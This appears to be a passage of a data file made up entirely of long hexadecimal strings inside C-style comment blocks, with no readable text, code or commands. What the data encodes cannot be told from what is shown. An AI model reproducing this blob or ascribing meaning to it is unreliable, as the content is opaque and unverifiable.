9b648f6c27652e16457ddf0ce2f8a8915939d9b36e4600a1c21af6cc7ab75c2eb39b0c30136ba073a1b11ff261fc553c0d4d9918c76a7a6b6da309cd374c8fa7f1b55fcf54164fe0e8762585e307e3fea250f0c516b03f6aa85098ebcd3061cd7b8c2662d50e202c26b0b9d4be0fe9b39ab7a1e6709b212c862e16ca82e4b3a24449847e82c04e1172904379ccee7bdcd4e3efd2d6d56b504ec8d6e3031bfe49e1c6e5709945f701edae54b86615ffa5be3b8dd1de117d081b2fa6876f8a1eaf815d502a8eb771b0175eae4f1d9d6f11bf683d0734e991f83a93f73ed31267cc23612b5059c2ff65a99edfb73c5cd194db9fc6fe2396ffa3f89e5c45843df3df8f7926877aa7bfb2b95e4b36398ccc2e7ce572abff4e3e2eb9eb6eff1cd85ffa383b990c450f98421c7b10c2ff90413fe9acf3c9ccd2232a280f4d5cc33fd9dfa241b85774f5ee7145ff4bfe8ddfa5a23a820566e2037b53066c6b433607c44153d2c62ace942dbbf52598d5a4bedca854c386d9dfcb9e6d570822ce548a5003e7493c3e666b57aa57d5587d88f70573865e281ed986cebdb9eb81f74eea02e94617af492c2c336530aa02f77132fb3ada8af3fc1760db5f5dd879239c9d450dfa62d4f2eba6fef2805d3152da2a1a9832dc630080b9612d145638626bf6d00c544a4a71ba47913613bf686d7438c5b206e6b146694777069801c12313c716812fc2660498eccd3f456e62c0d4e72a7ba0646f8094b961d39fd377cb7ee5a715c5e6999845921dd34bc705944f3b27a9d42e32e5bd165d94d5cb3addb525b87f1f0f6353006d1d5c38a845901ace58d9a459d021c1e81a91fbac998e267a74abce6ef9876aa7421a70cf4c0e5944ec35fe47ef507a7b569a89d46ddc45765511b105425d4d5c0d9ee1cbd145597e466dc00d3b34d2a764853a011b55a879b12994f8a987b72d553631b9b413787a2091be9ce2bdae6e24315212c8f441d886aa6804e7673242502dce1170ecb5c6126d5e202c564f70d450cee5b3f172093de0712a519e64e7924fd8fd08a69513a97a62f829e2195b6656c19e19044d0a7edb8e96013e4b4c3799908049b5322168454051ee4030896c58a3f0334fcfe87cf4757c34afd2a5298cbc3174772e8b8c7af6be909d0747885893629fa59b967faba19b6f5eb15c5d9790a405b70984cff4e4f51401c97f951fa6535230371c35519bb0e17955099bdee60f83960f2a47cfce9fd5c1e8da2e1cd35b915bc4ef7485e8128aa402bbfba68309b041d86673ec620866f6257cec621151cfc8baaf3054e94c9be2880c490737e17a3f7a8330ae82df7cda1624862b36b67d477197c2c57ffe1f3f0c4f3bd3b0561e3915bcf0021a084c46304d886d42f6c77135a0f467651acbbffdb4bfffbcb05cbb44446cde1a31995fa35a1bec186e7e508a2093db6eaf3ab0b72a46e166c27f65730e7de54c298810cd103b54f452011f966e8358c4ffb6198f56e42ca14c6998b6f2a6f7f872d2f084041746af2f06f9f0cc63d033fbc76883879af560b71a6d1cf53afa22baa0450a49ea95f374ea47102833a4ae511130ee3db5448208982b5f06d6d33b75d2ebd86a89d27b879bd9539f13014df70c7ad2a884aa2fb80973e76d8f51c1cc8dd04be3c44b55c0d8e01da2a84a22f00009b4b49d694069b52b862ad29fd611e62a7247d95b1d36de29473f0052440165ca99535f932c86245a0eb4acf24f00a57d642fc99574e2aa43489022a2a87d05f7e6352f280905ebd6e488b1893cf62354eaccbfa4c1a787298c5d854a7f422db1bc02a7745459faa5cd83c1232d739a65030b452aadf0c0df53f01fb3e188ecb484262a864877e335ce2e6f68ec08bc0d42bdac1f6e5edc956771334c41c66db4d754102a1de81dc467f0a5b20f43920f7870c747ca8797d14fb41d6834c11bb3c1f5800e1041ee2294aecdc8a7c30f7307c014e67a6236beb8ffaa8de282672952c370decd03ad6ac201458fd7d230c83336bb5baea3951b0702024b194530ab4cf435dd2b8b7e4a364fe8255fc9eb6ad4c23c25d44fee672e8dea0f6729439ab016ba98d91a768cd3f8009971af5395b7333de3730fff5fa987a5dc5f3a381c007fca431029a2300574581948bdb547e8548c1f6b46b7bc283ccb1d57*/
/*3973fa768615ca8b9de6fdedb6f7c80d0205750d86c513f787627288f12f5985375d9f094577750744090f020c1e369d80b47692b6b03012528b7ed50d535166382d0e92bc57908de26dceb74f2bf0c4cd7e4d5e5b7f9e831d082f6a8a53d98a8d064772994f95a58ffe8ca99b1c7a158aec447ad176326cd99fb1779ccac40847eaced5b76a83936e2ef18d5c7e91a20c10017b430576910a8c5c897e853ee3904d97520db3f0478a139f6a4fbdc228fba03c3eed72bb9b020742b835bcd79a77d3b17e6956e45d90bd8e352c42ffc3cc113fe8b7c00eae50964b9f5c526b441c663c7b94998b44c297ad7e49d37d76ff93192414cb83d972a1a7617d742432615975ea0388fb7c53e0a846b74ea6e3f61a6c1411bbd6ead7ef672587ecb82f4426a2983d9859aff7af5ddafa09884a98291f52d004f5558759e43ea531a7cd47a0aed3ce670cc5ac423e0068c0762d9d7efc2c1efc8000d77be53e76aa2174161e6645a5fa260042872a36d002a4a17b25dad5766e1138bb9f641692eb8b4505333e21c52d80b8b58a1d277a2636ef3f4fc76e6358cdffedc35d50d04ffe61f0648268a58d306b0769b17c0846d5935d12d109503ee72e6ee5cd8f559a8ff0050985600e567cd847137ecf6b7050a12a5843ea582da2521c3c8fb6227a023c4e93b3f78f2e0fdbeb499d5817a2e65dfa6b90c6ef48bd16c1d545ebc91613702e5ab4ae9d5603d406450b4a662356dc18efc09206a32cae8ec42a8f1cade9904fa07e625f2152ea7b22468caebacdb39f9348f9c0fdff5f39d07d99263d502e45964c8b51804740dec9cb16d8e75081ef513abd5061fa1b3c28e6f32ff7740c43bbecdadad66025176c57a4d585f1cab7ce340db8736faa32298a01928be4ff9f816a6ad4783079c1554dca76bd3132a2e17be891854082ca7ac3155f7665c9c5ec0fef68b88b6641adc221b811f7d8d8915545747cbb5bf59d3fe7917f13396a77ad71a8acee9c05b449338f4a5e85cca8917ecdcdebbe8b9d95383171f9771739ab99b9b0c7482f3a2ce96f4dd0c8cc5ee500eaf0d710227a44ec89c944d1caeea630536635a21b095a68d4c0a0671d0be61d3ef26838b22dcc8cec81e8fa96d4ba69de195d33676b72a3f5207f5602a12dafe4d960aa8c7a279ba7270311a91829d2b78474af9a49253d21f01136ebdc600cdfe6b1868486be018c8868e26324ca8008332b6a913d671595ef2e435c626381fc019c10fd0c8b25c8cc331790a9778316cabbbd62e658629cfc48fef5e35fc8f9bd1d5e50899762f8c27e1f4fb64d9299a6b4156b29de38201db11ab53a2eb64855757dc6da7ed0c78c8f461109a4e9e7a55bbea0229f0117ece587d56472805bc306c89824564807ca84edcc41cf784dfa207b4378a0c1f0031b00b69b832c6f4c40cae3f0e23e41a05f0d50a04913df6fa4faedb44decd4e3e8a74b64dd2c98368b38401592eb75fb30c2c573d7b971f1817d8a72420c437b2934a6872a26386a3a4fc2f138fe3ffb552d94180fb38274e119679db1000c13b9a8c1a4b413001f04e44177bc3dbc82cf797ca759172121026722c756c4cd3d242a1005e5e58ee6c01321e6dd492a8a8ccfef77b2f6e4c632219c1dde860226beaf3528dc7d9f79457fad24612a6f01e1bd0e2bb553f9843fc6e35b84bb26fc2d16ab71cda7ef4b6c6c085dcab7a457ad825c76bfd4bdf3fde407aceec94f2b2cec35247a91abdd75c133456e381d3641fdb5f21bd932c5c07f2ff1f01930fb1a853978f5d6ba19be98fef09b68fd34ec175d116800764d82632fbd980f2ef7f98a750aa24a8a53eba8f2a5a16679a29069b48df3e81f5a88ba0a68ef4520954b6465d2ede2a15615f09e2717532fbc3d2bef0caf814a2d67e00aac0a768378e6d1947e54e18913a2180b8d75c7ffa87d126795fd3cf2997d95fc5e14490bc883ea31df97a8bc03c21189bdf9f58d0c3ea703fbd1011c0e166c1c489b0521e3bd4056f38068b0e13ed0d8f5e2c9f3f46f9e3a88e8bca32ca1ffe0931a6a7dbdbd42a897956895c231f214a452a56fdae30c5034d6b07527956f6fd09f961d8afca2a1243c757c4e79ffe3eb574675ff06d2688092b9aa49d895109fd5fbfe5c9b520303e3dcbe576879b20c4d7100389838d523d368b4fb757908311e6655e472fe6f303fe62bda0b75eecd00eab344fc3164804a6b1a5a1db7cc5e2a9a3e91836f7fc979cb558283c36b73ff80221a063ffb8cca2024d05cb8c5662e51fb70b983e71a29d7e45c266b7d72e43b31c64b9a2f1ec7ab66a37c12fc59174eda6eafa7493d6531e2135359033f2ac0dce760255843b682ec94f33769ae94ea62899749f0567946e7ce15db828f28cc14289a7d61a02375a3d03e4d3a245930f36871f68e0b92b3ecf284a32a4b3eb5720a6ad32f3b915466f1e0f07ca050ff02ebc7f08a414bb87146b3a7aea5c07fe7895af1117b6fa4ba98dbc19930fa23cdd3f39dc893228a3408f49fb46aa1c6b7b27333c3742cff977497a722849fb7f81e60270c988110b46c1df24ba3bc10df4eed353c2f92725529ccce02b9a727f6120c47a16905125fd84c92e994e7479053e7828a18c4e329e7a79514ef6e9350431bf7d1fafb094853617c7d02aa255f334d3c0ae26e62f030cc95680c028502471837229e2c2d3ef13e6f8c876438a4bb149dba5bf70f59d264b0f696353b282d2c6c41da20f2ea228e99a83faca9d0098728f48c3462959377780fefb1a496754329bd8008448b7e8df88e56e7118f4be0d009cde2c875aaab0e474916f82055725c*/
/*d025d5533e878919b8d96feda53b1dc897702afc545244002832b18e91093c461cd4a0fca3bed5171d8633db2f435e43c5b4477a6eb617cabe3ead4a7dbf9b1f3dee63638ff2db4a7543bac9ed3242469b9491e5037e51bf7fc3c39bb5ed6a122e663a9a9684dc021139b1287d523ad0f58125e1d9b275216928e2507fcbc9e19f4d3a64331c90615fe35bb1baaddad734b1dc82a8c6a430ce50b0a2b6b3c38d7eba57b95d8dd3c62b9ae2fc42f6f9c0556ce2b6e7c6ceba7ee0774e236f4381b72ada0540e9fe07e7659e7962cb848f19ea50f34da475d6dc87ada6a40fe85c1c61c69ea9c09abd5d4e477260b8c279e580d6252e18e72c0e17e8c045458506b86ec80a9f9c80212142125cdd35ae62c9232a76517e59e22cf84b8d38dde005e74c068b9b746e3b62526b77fdda6e09e2c22c7f7870b07c6e6e3daeb611f0ca5099805820b54d2bb30d3306da130aee146c33bcabe774cbf2ea8d42453fa5d7f1230c764a1a19654a1ff6a098474618702204debefea5db0d25b0706984a275acb04646998b6dfa5445811579162542df780bb4905643e186143123438fb273586979217a1b0589b73b9c5c1f1fa148104ae2037876066a7459b847b426ae0c6c31038811068560627225a2a9ea4978fbb12cd9319dace64b22e1f3f8f13eb99d0a34bef1f78e79010c389f781d785d58c898bfc5b92c87d5b7345459230f15ed133f4d9466b0a77d66ac993310371b0cc44190201858c621f881fbea61161dcd0673e871194dc86cc7356d93a258f3501bd9ffd9f635aeb5d27f3b92f9248d23e0699c15152086416b05b2bf6b0a2e84019357d59eb0d2d276e3ebafa6ac50fb8444d43a8af3a7cb29b3ef61a945f7cc97ad67430f182049177cd838e69bba5be852e7d40058cddd5d92c6bee58b90ff2225600201d6ae5d97b06e94efff8344e445aab705940cce254e468809a4968d9be4a118209b6be67315df631d117746ebe4b3c2f9771bf36586a81651041b8a7d5bf14766f25b06c9ac3e7814e5f426361c7dfcc5e2978cf464d080d15f0e82dec4234ef7a3d14e36e5aa13b7c2f2b135158f1f47eab4c1de668e670ae808f7022bd1627ba27de8792ca3d54391d907f46f2bb855606bc88aa58bf00e82a3e6788e110e2ebd54fdd200d374540cc736e1f8f85278ae56377cd962aebfd253f028b540b81be68661f7a37793e9e737660802765b1674be62c04315bc48f2d9bcec96cc93c79d0d5586868f258f1570d52087a2ddcd1b3fd92a52a7860152a68fde81f7915d9ad1ad007cdb68bca9fe22422f259bd101bdf51aab2828bd69892c82467e8b91e2d83359835f23c9c750ea9750c375a9a23db982cdaf575d32747ab99ab6f740797e6ea93f44847075a38928a29932e7ce5ed11f63d9b52461b84f09c1d7d9439b0395bb14c77b2d4e0df691b447876e7ba310ebf92489091af760d9becdc6a7e9db6f59942b7336a3aa6429a54ca4a3e6e19c00db87ff9c35e47aa536ec8b1c6d159241c2db71702f44b57efef6311475d4046d5e9e7c380eb4265f6923ad55987e1b40b5ea7d974b790ef2c36698de0fc15462f877dd082a11074b15415b52facdd9c7ab5ce028444d07272903d10fe1c5585569209dd61f643d5b2d31f6e1b2d736338a015c4d8c0583d703db05597b45ca620673d6ffadd703fb5f862deb1b82fda25608ff8678bba1b625f47caf657b6e7ba41a41e9b4c5d6756a08a198d0efbad2ee0a0bc70b6867c0ef9dbe40425f63864e190b500aae121603c6fdf328269c0ce83a38354ffd0c40d2a6c5bd21c6c854da016b279e10332a058e8ae063102c21fa7679ec05200ac5d5fe4421a9d6e457627bbaa210cfbee76e28b0a6b6f3939e0183a0958e0b26340b1b96193bad29c3cd04bd0b2ca282ed628cb4caa6ec380be580d9f5f69fd6c06c7dfb3554e53667d449868ad39c34628d08a52869e6b97b6c41e6fc46930b250442cc4140a653d9e070162d6c99e00c65866cd0eed6ed935533fc0a691f79b3c53aaf95b59dace3e93f96ae4376bef82dab93e2c20438a643ec735c4caa5253399fdf7480f45f854f98353cb58d67c7fd8357d949f6993fb34a4579b8bf6ef279361d56745809ec233a8f1afbb81d5cf98e7716989ee1c27b91acd3bfe7a709b48accdd35727882564df9f2b61826e67c641fd633292640af53851acbe879f705f7095d0e4992d2703bb90ee11d97ebf0c656d88b1bb5efd929d7e6d80852cf39d2a5a1b5a34dc8a7eaf0b5fd33cb0d3d37f4b464b88b1eb5d7b69bbce9e19eecbfa30021e5bca78547f0df8512785186ce9579249733641ca4f0e7f94950c5d8e0cdc2d930bc87c253e8f474ec849e96dacb86be99bf8b21bbe24bf88f4b9b02c744df5357c8f84cb8e38ecc1a6f34b983ed19d068ecd28be69e4042714d956b3101d33221b15dd5d56565fa0d82c54c1d42aee2ddc7b0ac5861967b937c00ed179dd09ee93b985f7ba71830fb77508efc767853c1a55b0c1b2a55ce349bed4eb02b37b78e594d033e924ba75de57a4152a6f43823316b4de55b5a81fd297868c8b42e728e58404f42ed32d8d5fae0bc045c20a16923d69120a8c78186a736273654141a6bb3fc890196ecfb07b5e68c619a98a4a7c561dbc1c6926377a1c5d7ef4bbe3736f28ddeacdb7c4e3565af5fda1fd90f49e4c5256d006a9200d97f01e8c85bea781d06571126538d71faec4c534f00c686d653b508632ed960afc9d20165f3604941924e564d51771a7a189f68048f984b0e970cac653be4126c0313444910cb78947b80d84d75e6dc*/
/*d4f3cf73289f274e60ce168a21c45384616e3881d2fe2779657567dc138d47718928e414ef784f84d692a34fbc4f3324fbfcbe939d76432e26c536ba7868041a36d0a1da467c7b9727495a82f848e9e8f3e936b0ec08fcba7cf8a5deefd30a3782aee3af53e464c771a73097f1911b892e41894f39d6a1e12b7903df03cc0f676e3580233a728ab7a2b645693fc9ef700b674b0c3b964be8fc26a04fe99d285e3f582128dbd73bd3264098a6066ed760dbbf11a58ad1454fbbe79d1448dfd3850c9e74ea0b23ad9471b66439a10259f8cc571a885077a54249caacd14eaf532257bcd2f354c60027bc1be58c258e0784b4d8765c430e6975bf28e00381d0b4d6c9530e3b827737b31b99638276569502b05900a18245517f4aa2e1076d12e5049402caccdf6b0740b4cb9970cd721a3dd8b5b4c20c1ada3761d5997e29a9981977dbd0be9806968aec8631298dbbce5f58ef549a7dc9356fcdef178c2cfb21213c19d42f9b91aadef7fdb83bd5cc28aed7ec911a583e97a3c57ee5369ec390cfbdb4e353f24933f9733f0b53c484acfec1b001daa1e5a5f330b039c3746e75d1f48e78497a90288e96112aa4db812b8e5eccafd7acd0a48774284571ac554c9f104da8ac68784e1d30561d0cf16df4df44bedb157781ed282beecdeadaca6a46aeb7559577d82b1b8c674947ac59e2f8eb152ee02157f5633d9698ffde42041f152548c37deec4826d0d0ca8f743a3c957c4c497aad153f73475ef076b450bfff422ca1efd9addf1a99681d0a07f0e78eaa5321afabe97918bdd24df68e07dbe64be45e81579336efc7e31a31b2dab24e538f90dbcde7186e2825eb3c5ef665a8b6f501df7515b5251f6ef2bdb1240306c047face76528d9ad3c35fa9afff84569b3b7aa1c3c931285127a783f1791bbcea9eb1228d20d168a8105385d9827e3736e73417c5f661d0cf195d213dca82639bf1ef61b1791f22e1725e1f84500eaa04fc1c48ed6568edae34ba679e93b0953aae3e0f1be53af0c3437e2a3ac344d74ea9623073c98eb048ad9358038f80a778461d4eb7a6bef044a55d2cd873753940457442250db517ab7ea0cad0f258b64b66acafba4d69d9e18b513e42337cc8d257b037f1828cfd76d653cbe39e6799b4320252371129cf4634a5c290924a9206d5dc1d83d8e3395be08789a75dfbac57e8b70385f4ffa84a1099a4a51b812b68490d708f1c3687600f71059565941495ccb5853e69bb609dcfa6815957bda8cd5d0706c44b260c5aad1e1a9ee73196a688ce5708617057b03a7d37fa70ab21f9f7f87bceb5f7d0489e5ab8e8a54acae2ad668094d6a7da613fd29a8b46dae8f02700cb8f1b401d813421448930377538f2c0583c25c602a51984ace0f78fa6f7c3b0697762547aad17134f723a6406178e8d1374741b31e33ce7d4eef7bb1abb7c59a94d074b8f4156f1417a8e621f3f02a4eded65194566531ded51765ace93ec76b01c4d66da2fb265b4bb6ad83ad98aa0a1487f3bc4b5c73ae085bbc3749d3b8aba4233397498013c300b41d394ad2528ecbe691c1dca2ba087b1310cc3529b7d50cbfcfb88c3c0d8456d62d502964f287adb4ec6f06abc72dbe356206edd0880e0018e4fc4b8aeeb7618e307d40b309eb058e84c806485f1e33a12eab6d71472a48ffb6f05474fdcf325af3e8fc9ebf005e3d8200e25b94b346585ac063b289c3594f2eb8fb8f1c5e8060b617fe41d4948383c0182dd7814ecb6d66741fba86caaa18cf98bbad3c49d4672385a1bed3678e782ff961405bc511b2afd2a242301ac9a7cc9395e54234b405547395448fccfd1749ca3a9a1e134add7483b9483b1f21d768b9c9b00eee1eec94ea6ea405cfc02d24da77f4dbd58b6f24c1dce9a2c079d4644b86ced80b5762b22d0ec564800ca7c5c872742df31f2879387683c45d68fb7c25291d596319154e49d7b5f57d51c68541f41827cfaf6e85bb5e5eb52d955f725777215aeb7e822010d69e192bdde4ecaf044f7fbe2671f7bcf0351d0bde3bb063fcc83273a2e8a158a05554c4de34ac13cbd117e446757048f10ec1f59976b6e77a84497318dbcd2134d0356f2af7debe39dd834e175e279752aa910c02b1144fb0e67dc0ed2a75c77113a64a6b636951d1bdc0c28e075bec920dffec9530b8dbb506504927d6c27fd39b5e350a5225fe4d2c188eb0cf97567f90f460271d4b4e5239e071bafc43c90748f2354cc12084f4283b402dd58a34ca5199dd5ccf86817f6f8787d5e8626a7b9837b4d62554d1a4bccc92a98ed238db6caf7712494bdb63060422292a4657084c6dd9bf0a6de0c8909935bb0bcf401fc5416c6c05825ea97ea2d142ee3bfb4b03076b92c75deaab899dbbc1ffc05ade1648ba4a4accd19f098f851767e1a4f15340f41412985eeb3b5e010462042e94e044f500e08a6a22603bd4f75315a7348f870f66ee22ec6af71c7a17f6a9eeb882cc857753ddf5eed7569483025a5713f46fea1c8465726355877a923c1474ae0057855742b50bbf7c252afd960ef272bca9bcb145355dd94117bbf266dd393ba127d7d35710925cb57760e6ce77391ad78a0aaf5c43587bf5ede3c30af75ba854ae2fe3db9dc599046687cb27baced2c334a557bfc60b88afeb84c4295fdbc0e8bc0103256c7862b8751270a8a84ea3e9c6ae45cca3e799c3bee62727b77398043f32297280aa5b197b051b5ffdfeeb0d37fa565f7742d2ef6c2cfe9f42621b5aea3e05fad7e08a82d118624aa415efa00a16f5c2d5d625b9b7a215cea3bbf769b981f4d3b0c395dbb4ddf3e379b0*/
/*c96b6a537d363a08af4902e5fbf2245a3385b8cb0329d10c8dfad6923bf8c9cec5044c4c1aa54765b607c1502573be9618ae49f8149765cbabde4a04e3d43259eb6d20dccc2e76704259be9266756c031be0a93fc401195c88817ca60e854d61d7b75611b905a319013d76b19265ad3f2d8a65abe4f46dff877c836ab1ba515e61d3479b27d5e4dada1d0f789a58d8ec8e1f66921b950341edf502281243022f70421f1f9ec4817c0ff112df9dac1cf79afeaceadca8ea0abcb99d9a1f2f18b635f36d113bb24b7c1c119d2bdb7a05ebd6114945e7f3a36b8b4d13d79fee5f685437e9c2c1993bcb432cc276258b8122c6ba0ce8cc5a10de1419adfc0ea337e6c5d8d49f821efbd9491035e6772a52e581e1b084bb2d59254272b3ea2e9e80f38f77315e4025cdfebf41b00e1b1638c33b76e2ddec382d887a5231b62d6f1e0076bed9d390190a45ac5651a1f9cc32e0688e90e26dbc295629f887053c42a0775d8f8f824033973810169f29c2cf010890f938c55a582f8353a53930313586fbf0fe94e080a82c4385141b9be37ba6ac505eaf251d518d35edf343d9d2e6cb1754064bec8345a3438635d8f050f4f0a050d63a40def4b07a8c02e47df81f1f2db23ba418cc66b7b4e540cbb00cf2a5b2433833d3b3505a9731db24d6c694fc9bcf7a4584e96a3420a610485364e1af8178f880f8ab8db9a20d344fcc37d1202add2dbd81392c38a756860d8034adcb9e30be3672f8d85f6d8fdf0b23174f20303a93b1ed5259e3d3270f4066d3b59140a6db6c25bc966c594cc597ee794c0446339637c121bb890a1234342c7cae04e712c1ef82432689bcef4ef07dc17c92918d0b6d80b4884864f49619a2629d7dd01cccb7b6009579b95dbd6a30598aa91fa8c60bd96dfebe96f0d165db473f465fa07be3e7e5393addf66a2f035b82ecc4b58d45cae8c31483d477229e8117ff871e42dfc64f68338915750590633eff533f3a2b8e6876a48475b3254ee05c250e92e57a778b0143746031aa6a571396c60f65ed701fcee075a86fb5942901176822d90c42c4c1a539aa77e2ba862b5ce45773a4096bc25e032f138a4f7d956455ec38b447dbdded50ca5bbf64d6189510dd2e391c14405e4709a8bdee2680b23e65e23de3193751b88c9693311761d2942e09682eff4de6d7c8ece08e8f4600787a598981814bb25bc1afb8f9012f0180965fa8fdec0ce333f848ac2b6db8721e109bd731cf4b055e583150f8cd4f80f24134fab4f28b735a21e6a15f3c8e7fa5e405b2d57430faebb58d5b25b96efc3c5bbf3faea317eb9ac6d0b35b98c632ce3c3ea7adaacbf32e0ebfa7d8d8603610dfccb0975e5a1261b61d5947cc674e5e3b7be47fd5ad70eb13be427abf055c892110d0405bcfb20dde2b08aa329db17979b063e25ce6f6484a52318aec4af3ca2ab0c6466067444377cd566f267fbd4b22e968f83f945c167115279efbf5fcffcae06ffe64382b9c180d5b55eff8ea348163a54a38f1c11e5a823a77666c03dcaa4777bca77cd529d259343b5730d2de4806111cdcee9397836cd1e6e3aa0ab3ce11d7676307d05ba08ebfa74118998a2baef5fdf836d2132cefcf5032857d21154414d789a6aaeb300214f1217ec87285c4b913e42e26ecc4bee7c03faa86380839291b59e2926e14fb4a24aca7c381537fb1cab0dbaeb79bb7113acec607f16139701ad3b68401235ac16deb71944eda1e0be1c1acacc1c2344fe9f38d8a6de62ab0e5f71043bdcffb647188a161fe0dcdf1db564162f1703eca6ad794f905ed0c94bda7996959db0dd01be48d089f42ba02a1f76b821569a942ce99840df2a34feadb01c47d97c3142e33cbbf338cf574adc59474e774535fdc55fdb5685d61712ef940d671cb4725dd4a8bdee29bdc85bc5a3b28429289c82c1a7002e0f83b962d4c457096bfae34921f77c7af41cb50d0317c3ed181a6c3347eb67956daf545fa65e189dd20a26e7ca62e4446170777c4b17659b2423a673608488924dad258bc2319b14885d82598aa8fb4a7b072182f78e6ff0aa33c36ee27cb344160c81eb82c5a930760ea4eec5b8a58004da03212e25469e6aa2c7451d25666d68fea97d8fa388f8362d35aaa521b449a8c2eb23b898170a61b9d5e94f694ef43bfcba20663f722836d5993390c3b5e181cc9a9e17d3908f30352c74d1f817fd9adb1203e80835a012c910d882d8de2627902bb77fdc3287f2bb72b5a060fe604ff657c5d03abdebc91a2e0247b4f247e3b552269311d0869d6685b3bac362c08c74da0f19331441b9e3ea420112c6e9d91a0af3e966aeaabbc3863c05a881c0f6d5f8ac22a5b01a5d9d39d801baedba281ec92e7af6a7651a190396258016ef1a8e769dda58b7b5284e375d1c88534eb6fd9d3891849ccee1d41edaba5150227b8755a367db4f8b1e141a4435c15290918ce68ea5631deaa03218925abf7b0b90f995ff6dca5e5d5714744686f57969c7ab4bc526f9cceaa91f0fb00efc0fc95d7ce0da8a0da2e8498c2dda86f9bcedf2647ebfdbbd50838b0466148e323d36d49e4b4da92779ae09db8b695462b8f90c8890a934591117a06f105c7b082567538be478a39f66d97cf649d5fbe600c15ce309f055be50c59c98f80d225edc8e7e9549731e496a4c7622ef2cbfa5ad8c96def374705332234428cb3bdfab927a3509a4c85fce2a13fb2f1ec9bb3f5537eb5652838e0539f1b878836e04ec40aa7760b5e9fbeb6560f3ed21d648c2d48175fe335bf6ea53de23ecb08a3ee4b5f40c711e87536e347137a20560ecf0eacbc91*/
/*b2b224b3e995d0d35f1a2421658d786f0f10287daa57a5cc4e8ca20b041cedd932f65629b70a4d491fd90d6581eaeb0f3f9be27d60876afbc73fce8f41230bf27c259b137cc89df46071c825693f1e705aa0afa9bfe05d67634eeb572acccc0d9637544ab57e0bcfd276f1c2f48e8de1f35f6fd755b68780d1f7c20fa1d511bd2a2a62c619d83ca485c523a0b56148088cf24f4760c59c901ee1e78bb18e29d014e55e48425ea1a2d442acff7b92fe8c21baaa4dbc0908925b59abc8d39331c1c281dc97ed36d929a851bc2f2d7b8e419dd479f7678493885dd4a56921b3ee48af3cb09730d80f8c556613ca85ed4bae60778573b47d562cfb8e20882e01bffa05711c5c6f47e0042b03ca392a13cac6fcbcaedb61c5fcdc4587897d3d0f9ea9c4ebb1bd010975c0e9059f047edd11c2452a8900c5b7b60da732d84993a90236d19da8e589eede22b6af8a4d4172bacc10dd0cd0245767392ac69370b77f0de0eda5071ce922bdb8c3e56bf332810b0e0245dc174174cc0301cca8a440a8373878c56bdf68eee1b30a2e20ddf032e33b742fa477c4fc84bb2dad82ec1ad08b684e9ce066380d1878adc9b888f38cbcf56c2cd2900d9199b0371f92f89d3fd7b4b845bb7310f5f52706fdc7690f6f2374e2194a54e3f0e0cbd342704ba115fbedca9ddf1408b338f86df3724e1e74cfd75be2bfff6e681f57746d4fc351052cb5d09b38b753e1182bca10bee604f7254f13284dd855f9d0d23b7037f6f8246ac36462a610e3be3e368a75911480c3f0c9af747b82350c2e8a0695fc7963ee1022c2bc4249fd2d4d40c9a3dfe73db65787ea7f203fe82e71e58e2bea218622a643bcbaeda92139f4ffc788ce04d4b758c7d4cd9f1c26040bf88c2402255bc11a173b0240688c7b5a227a9246ba5e6a040fc316ce8988c62aaa149220ac2c53125cbf04a2ca65d64f0aaeeb1f2e37deaf371b81b53f8f5490832c00fe84833548826f9ed88228c5e4ff75b70a9a553808f67ab79037e056c3bbd0334b2d5cad9cc54f1269d075ccdab439ee4f8c09b01954ff63d6b977e7c68b176b1b3bedb3e56e451cf71a07177428544dfd5b6b91470ed45f3a68d0bc0c4a0c5130e309bd9cd228d32e299be83865c7e84f6511fcc85302240910a1db1e08ecc7014dc8617eb3579a775bb801ecc9fe7e27abc79426da32e38cd9c42948197d4d94721bae2f43882a17599d23605f9cd8c89f49899810d17e2a0878028be494fb9eaad13cac38a742c46c629c57abe9411e18b84b0ebc5210948add39fee0f7f8406df614ca005ceb6301fee6b9c3c65ed5c5b11c168b91d2e5081912964f76cb3b38b4f6f6341bb2ea088369068cae2105a051c9149a2252bef6fa0810d3172cec70b94d14d6fb96acebb2e3910c0d3ac59a0bbebac4a9ec58c9d55192a3ddc8309504565ff12c7b2907abb2ffabcc277ec1b47e3cad96cbba8e383e7015430676a487bc3d15b95f20c458fe9c71a462620798699a38338cf461d6ddd7c0f7b2745d963c2c12ebc9d1c074ab056b4e41d04dae366b3c59fb5eefb532e4d5d1f6d2a994a38653fdef8c58a2bbaf2301f0700a38406ce6dd3627738b0016a039b75769632d57a0b64e8951b02ff5448b129bf9dd602b81fc5bdcfb1a5783ffe6da548888e610cf2bd3d3b71d2dbf130bbd7e9358c19aa3a3acf94ca82c649299945ba280753acd89bcfe7fbbf5133b7ac8dd81699d837a7ab5a11552cce47c8396a11499195045c94f9888adbed7976831012b0d348e7c898cc765c4c256f1ce1b2b8a7b3c4c05d378f0e2b9638c94047249b3f35258223cf24846d149471b1cd7fcdead354c3f510313d842fb37f26042b58a549d8f8dd8e03bb4a771d8e39f3b78238ba5b0932e11a78859551daba7ff7c683013aa0092a1a5a8eacaee3801c3d34ad374134d0182cea8f4d3a0ffcb944f7efe172d3cdf85712abdf64edf3f0837ea29f616d86ddb8aeb85b71f45b0a191c832f3ca85b362545dc3afe1b6a04d82faa084083e82f7aeb3522801a6fbbcfb7f6707a418f3347db9c16c9c0693173f0bf4d9e2a66b7ece88a53e3bae70557e6cd57007c70d68e186b85a5c5175000b5466925b4fd167b2141df39eb2ba09e45a4e04c0675696a09a84cf7005e1e0617369401e26ddb54f6394faa44057be8e6e13ad9d5cbbcf8dbebfb13bb12f346d792a366ef1cc55d7393b23a3e40065bd79911fc8b7b34fc521f82d02b7443724e9b2f649fed8f63234cbd22970f8c9822ca3bb744e29185d49d323cca8e1a2d2089601fb2be7d794d6323830dbbffd7ceeb7d9c49f602861876d591ee589ddd364daf4c84cbb246179cbe33887ee412781c0dbd23eb98a42e34fab7b9ab55fb3ad80b1c2681f5578d6eca4ecbf2924ce778ab755032adcf625f3148bee16ebdea3040aa85b5b911b8ac04e6ba6897a543459e80be66413305765beeecf19c94bf4ece1647cf98ace88d2275fb93fe87d6eac42df9ac5672a569604c83d1a38b07852f734b9d3f400c46d984fcf12b62f869a3749477b3d2a19edb8eec3183e91100eb2123dcc58bf1f4285d8bde533b9f3a815e5c7c97ef941baf8c8716393832188aee33011b6dbb3e3ac47ce97403f7f47c9859e7733f30220a85f2763791132a20597b99ea0e9ff49e9ba231a5af13b6dc4ce46e541c630d9dbab1acf41a92aa1e5f35aecbb0ea9e8a8a71b3c853c1ccf1eb56cd1dcfcdc748769551147b3c100da4582f3a0732844d2645618e09c40a6d88a9f63ae6b56665611aaadb497e90c039ea95d279bf2b72c